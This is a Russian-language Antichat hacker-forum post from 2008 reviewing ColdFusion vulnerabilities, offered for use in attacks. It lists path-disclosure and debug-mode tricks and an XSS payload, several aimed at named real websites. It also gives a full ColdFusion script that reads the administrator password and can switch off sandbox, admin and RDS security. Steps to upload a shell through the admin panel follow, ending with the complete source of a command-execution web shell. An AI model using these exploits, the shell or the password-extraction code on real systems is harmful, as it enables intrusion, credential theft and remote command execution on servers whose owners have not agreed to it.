Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[ Обзор уязвимостей CFM(Cold-Fusion) ] |

27.05.2008, 14:44
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме: 14324684
Репутация:
3908
|
|
[ Обзор уязвимостей CFM(Cold-Fusion) ]
Расскрытие пути
Запрашиваем у сервера, работающего под IIS, файл, состоящий из имени MS-DOS-устройства (nul, prn, aux, lpt1) и окончания .dbm
Example:
http://www.zogby.com/nul.dbm
Доступ к отладочной информации
Дописываем к скрипту ?mode=debug
Example:
http://www.zogby.com/News/ReadNews.dbm?mode=debug
Доступ к админке
Если админ не отключил доступ к ColdFusion Administrator с IP-адресов отличающихся от 127.0.0.1, то можно получить доступ к авторизации, ввести надо только лишь пароль.
Example:
http://www.zogby.com/CFIDE/administrator/index.cfm
Расскрытие инсталяционного пути в Macromedia ColdFusion MX
Запрашиваем /CFIDE/probe.cfm на 8500 порту
Example:
http://www.site.com:8500/CFIDE/probe.cfm
XSS в Coldfusion Fusebox
index.cfm?fuseaction=XSS
Example:
http://www.proinno-europe.eu/index.cfm?fuseaction="><script>alert('Antichat')</script>
Раскрытие пароля администратора
Уязвимость обнаружена в ColdFusion MX. Удаленный авторизованный пользователь способный создавать ColdFusion шаблоны может получить пароль администратора. Удаленный авторизованный пользователь с привилегиями создавать шаблоны, которые содержат тэги CreateObject и cfobject, может создать шаблон, чтобы получить доступ к паролю администратора.
Example:
PHP код:
<cfscript>
objFileWriter = CreateObject("java","java.io.FileWriter");
objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");
objJavaC = CreateObject("java","sun.tools.javac.Main");
objString = CreateObject("java","java.lang.String");
objFile = CreateObject("java","java.io.File");
if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }
strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java";
strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";
strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";
strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";
fileWriter = objFileWriter.init("#strJavaSource#",false);
fileWriter.write("import coldfusion.security.SecurityManager;");
fileWriter.write("import java.io.File;");
fileWriter.write("public class SecurityExploit extends SecurityManager {");
fileWriter.write("public SecurityExploit(File arg0, File arg1) {");
fileWriter.write("super(arg0, arg1); }");
fileWriter.write("public boolean isAdminSecurityEnabled(){");
fileWriter.write("return false;}}");
fileWriter.flush();
fileWriter.close();
str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");
strArr = str.split(",");
byteArray = objByteArray.init();
compileObj =objJavaC.init(byteArray,str);
compileObj.compile(strArr);
obj = CreateObject("java","SecurityExploit");
file1 = objFile.init("#strNeoSecFile#");
file2 = objFile.init("#strPasswdFile#");
obj.init(file1,file2);
obj.load();
</cfscript>
<cfscript>
// Get Administrator Password
strAdminPw = obj.getAdminPassword();
// Set Administrator Password
//obj.setAdminPassword("test123");
// Turn off Sandbox Security
//obj.setSandboxSecurityEnabled(false);
// Turn off Administrator Login
//obj.setAdminSecurityEnabled(false);
// Turn off RDS Login
//obj.setRdsSecurityEnabled(false);
// Set RDS Password
//obj.setRdsPassword("test123");
// Turn off JVM Security
//obj.setJvmSecurityEnabled(false);
</cfscript>
<cfoutput>Adminstrator Password: #strAdminPw#
</cfoutput>
Заливка шелла из админки
I.
Если на сервере стоит IIS, то заходим на вкладку Server -> Server Settings-> Settings, в Error Template устанавливаем ссылку на шелл, после чего вызываем несуществующую страницу на сервере и он запустится.
II.
Переходим на вкладку Server ->Automated Tasks-> Schedule Task, нажимаем Add Scheduled Task и вводим имя задачи. Поле Operation должно иметь значение HTTPRequest. В поле URL пишем ссылку на шелл, затем в поле Publish ставим галочку Save output to a file. Указываем путь и имя выходного файла на сервере.
Шелл:
PHP код:
< html>
< body>
< cfoutput>
< table>
< form method="POST" action="cfexec.cfm">
< tr>
< td>Command:</td>
< td> < input type=text name="cmd" size=50< cfif isdefined("form.cmd")> value="#form.cmd#" </cfif>> < br></td>
</tr>
< tr>
< td>Options:</td>
< td> < input type=text name="opts" size=50 < cfif isdefined("form.opts")> value="#form.opts#" </cfif> >< br> </td>
</tr>
< tr>
< td>Timeout:</td>
< td>< input type=text name="timeout" size=4 < cfif isdefined("form.timeout")> value="#form.timeout#" < cfelse> value="5" </cfif> > </td>
</tr>
</table>
< input type=submit value="Exec" >
</FORM>
< cfsavecontent variable="myVar">
< cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
< pre>
#myVar#
</pre>
</cfoutput>
</body>
</html>
Буду постепенно добавлять уязвимости в обзор, благо их много 
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|